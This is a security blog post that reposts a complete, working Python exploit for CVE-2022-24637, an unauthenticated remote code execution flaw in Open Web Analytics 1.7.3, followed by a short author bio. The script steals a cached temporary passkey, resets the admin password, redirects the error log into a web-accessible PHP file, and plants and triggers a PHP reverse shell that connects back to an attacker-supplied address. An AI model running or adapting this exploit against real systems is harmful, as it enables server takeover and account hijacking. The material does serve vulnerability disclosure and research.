Sunday, February 25, 2024

Open Web Analytics RCE 1.7.3 – Remote Code Execution

A Vulnerability was discovered in Open Web Analytics, by Security Researcher Yerodin Richards,the vulnerability, an RCE (Remote code execution) affects versions <1.7.4.

# Exploit Title: Open Web Analytics 1.7.3 - Remote Code Execution (RCE)
# Date: 2022-08-30
# Exploit Author: Jacob Ebben
# Vendor Homepage: https://www.openwebanalytics.com/
# Software Link: https://github.com/Open-Web-Analytics
# Version: <1.7.4
# Tested on: Linux 
# CVE : CVE-2022-24637

import argparse
import requests
import base64
import re
import random
import string
import hashlib
from termcolor import colored

def print_message(message, type):
   if type == 'SUCCESS':
      print('[' + colored('SUCCESS', 'green') +  '] ' + message)
   elif type == 'INFO':
      print('[' + colored('INFO', 'blue') +  '] ' + message)
   elif type == 'WARNING':
      print('[' + colored('WARNING', 'yellow') +  '] ' + message)
   elif type == 'ALERT':
      print('[' + colored('ALERT', 'yellow') +  '] ' + message)
   elif type == 'ERROR':
      print('[' + colored('ERROR', 'red') +  '] ' + message)

def get_normalized_url(url):
   if url[-1] != '/':
      url += '/'
   if url[0:7].lower() != 'http://' and url[0:8].lower() != 'https://':
      url = "http://" + url
   return url

def get_proxy_protocol(url):
   if url[0:8].lower() == 'https://':
      return 'https'
   return 'http'

def get_random_string(length):
   chars = string.ascii_letters + string.digits
   return ''.join(random.choice(chars) for i in range(length))

def get_cache_content(cache_raw):
   regex_cache_base64 = r'\*(\w*)\*'
   regex_result = re.search(regex_cache_base64, cache_raw)
   if not regex_result:
      print_message('The provided URL does not appear to be vulnerable ...', "ERROR")
      exit()
   else:
      cache_base64 = regex_result.group(1)
   return base64.b64decode(cache_base64).decode("ascii")

def get_cache_username(cache):
   regex_cache_username = r'"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"(\w*)"'
   return re.search(regex_cache_username, cache).group(1)

def get_cache_temppass(cache):
   regex_cache_temppass = r'"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"(\w*)"'
   return re.search(regex_cache_temppass, cache).group(1)

def get_update_nonce(url):
   try:
      update_nonce_request = session.get(url, proxies=proxies)
      regex_update_nonce = r'owa_nonce" value="(\w*)"'
      update_nonce = re.search(regex_update_nonce, update_nonce_request.text).group(1)
   except Exception as e:
      print_message('An error occurred when attempting to update config!', "ERROR")
      print(e)
      exit()
   else:
      return update_nonce

parser = argparse.ArgumentParser(description='Exploit for CVE-2022-24637: Unauthenticated RCE in Open Web Analytics (OWA)')
parser.add_argument('TARGET', type=str, 
                  help='Target URL (Example: http://localhost/owa/ or https://victim.xyz:8000/)')
parser.add_argument('ATTACKER_IP', type=str, 
                  help='Address for reverse shell listener on attacking machine')
parser.add_argument('ATTACKER_PORT', type=str, 
                  help='Port for reverse shell listener on attacking machine')
parser.add_argument('-u', '--username', default="admin", type=str,
                  help='The username to exploit (Default: admin)')
parser.add_argument('-p','--password', default=get_random_string(32), type=str,
                  help='The new password for the exploited user')
parser.add_argument('-P','--proxy', type=str,
                  help='HTTP proxy address (Example: http://127.0.0.1:8080/)')
parser.add_argument('-c', '--check', action='store_true',
                  help='Check vulnerability without exploitation')

args = parser.parse_args()

base_url = get_normalized_url(args.TARGET)
login_url = base_url + "index.php?owa_do=base.loginForm"
password_reset_url = base_url + "index.php?owa_do=base.usersPasswordEntry"
update_config_url = base_url + "index.php?owa_do=base.optionsGeneral"

username = args.username
new_password = args.password

reverse_shell = '<?php $sock=fsockopen("' + args.ATTACKER_IP + '",'+ args.ATTACKER_PORT + ');$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'
shell_filename = get_random_string(8) + '.php'
shell_url = base_url + 'owa-data/caches/' + shell_filename

if args.proxy:
   proxy_url = get_normalized_url(args.proxy)
   proxy_protocol = get_proxy_protocol(proxy_url)
   proxies = { proxy_protocol: proxy_url }
else:
   proxies = {}

session = requests.Session()

try:
   mainpage_request = session.get(base_url, proxies=proxies)
except Exception as e:
   print_message('Could not connect to "' + base_url, "ERROR")
   exit()
else:
   print_message('Connected to "' + base_url + '" successfully!', "SUCCESS")

if 'Open Web Analytics' not in mainpage_request.text:
   print_message('Could not confirm whether this website is hosting OWA! Continuing exploitation...', "WARNING")
elif 'version=1.7.3' not in mainpage_request.text:
   print_message('Could not confirm whether this OWA instance is vulnerable! Continuing exploitation...', "WARNING")
else:
   print_message('The webserver indicates a vulnerable version!', "ALERT")

try:
   data = {
      "owa_user_id": username, 
      "owa_password": username, 
      "owa_action": "base.login"
   }
   session.post(login_url, data=data, proxies=proxies)
except Exception as e:
   print_message('An error occurred during the login attempt!', "ERROR")
   print(e)
   exit()
else:
   print_message('Attempting to generate cache for "' + username + '" user', "INFO")

print_message('Attempting to find cache of "' + username + '" user', "INFO")

found = False

for key in range(100):
   user_id = 'user_id' + str(key)
   userid_hash = hashlib.md5(user_id.encode()).hexdigest() 
   filename = userid_hash + '.php'
   cache_url = base_url + "owa-data/caches/" + str(key) + "/owa_user/" + filename
   cache_request = requests.get(cache_url, proxies=proxies)
   if cache_request.status_code != 200:
      continue;
   cache_raw = cache_request.text
   cache = get_cache_content(cache_raw)
   cache_username = get_cache_username(cache)
   if cache_username != username:
      print_message('The temporary password for a different user was found. "' + cache_username + '": ' + get_cache_temppass(cache), "INFO")
      continue;
   else:
      found = True
      break
if not found:
   print_message('No cache found. Are you sure "' + username + '" is a valid user?', "ERROR")
   exit()

cache_temppass = get_cache_temppass(cache)
print_message('Found temporary password for user "' + username + '": ' + cache_temppass, "INFO")

if args.check:
   print_message('The system appears to be vulnerable!', "ALERT")
   exit()

try:
   data = {
      "owa_password": new_password, 
      "owa_password2": new_password, 
      "owa_k": cache_temppass, 
      "owa_action": 
      "base.usersChangePassword"
   }
   session.post(password_reset_url, data=data, proxies=proxies)
except Exception as e:
   print_message('An error occurred when changing the user password!', "ERROR")
   print(e)
   exit()
else:
   print_message('Changed the password of "' + username + '" to "' + new_password + '"', "INFO")

try:
   data = {
      "owa_user_id": username, 
      "owa_password": new_password, 
      "owa_action": "base.login"
   }
   session.post(login_url, data=data, proxies=proxies)
except Exception as e:
   print_message('An error occurred during the login attempt!', "ERROR")
   print(e)
   exit()
else:
   print_message('Logged in as "' + username + '" user', "SUCCESS")

nonce = get_update_nonce(update_config_url)

try:
   log_location = "/var/www/html/owa/owa-data/caches/" + shell_filename
   data = {
      "owa_nonce": nonce, 
      "owa_action": "base.optionsUpdate", 
      "owa_config[base.error_log_file]": log_location, 
      "owa_config[base.error_log_level]": 2
   }
   session.post(update_config_url, data=data, proxies=proxies)
except Exception as e:
   print_message('An error occurred when attempting to update config!', "ERROR")
   print(e)
   exit()
else:
   print_message('Creating log file', "INFO")

nonce = get_update_nonce(update_config_url)

try:
   data = {
      "owa_nonce": nonce, 
      "owa_action": "base.optionsUpdate", 
      "owa_config[shell]": reverse_shell 
   }
   session.post(update_config_url, data=data, proxies=proxies)
except Exception as e:
   print_message('An error occurred when attempting to update config!', "ERROR")
   print(e)
   exit()
else:
   print_message('Wrote payload to log file', "INFO")

try:
   session.get(shell_url, proxies=proxies)
except Exception as e:
   print(e)
else:
   print_message('Triggering payload! Check your listener!', "SUCCESS")
   print_message('You can trigger the payload again at "' + shell_url + '"' , "INFO")

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Recommended:  Gitea 1.16.6 Remote Code Execution (RCE) (Metasploit)

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Steven Black (n0tst3)
Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK. I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated... I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK. I'll often reblog infosec-related articles that I find interesting. On the RiSec website, You'll also find a variety of write-ups, tutorials and much more!

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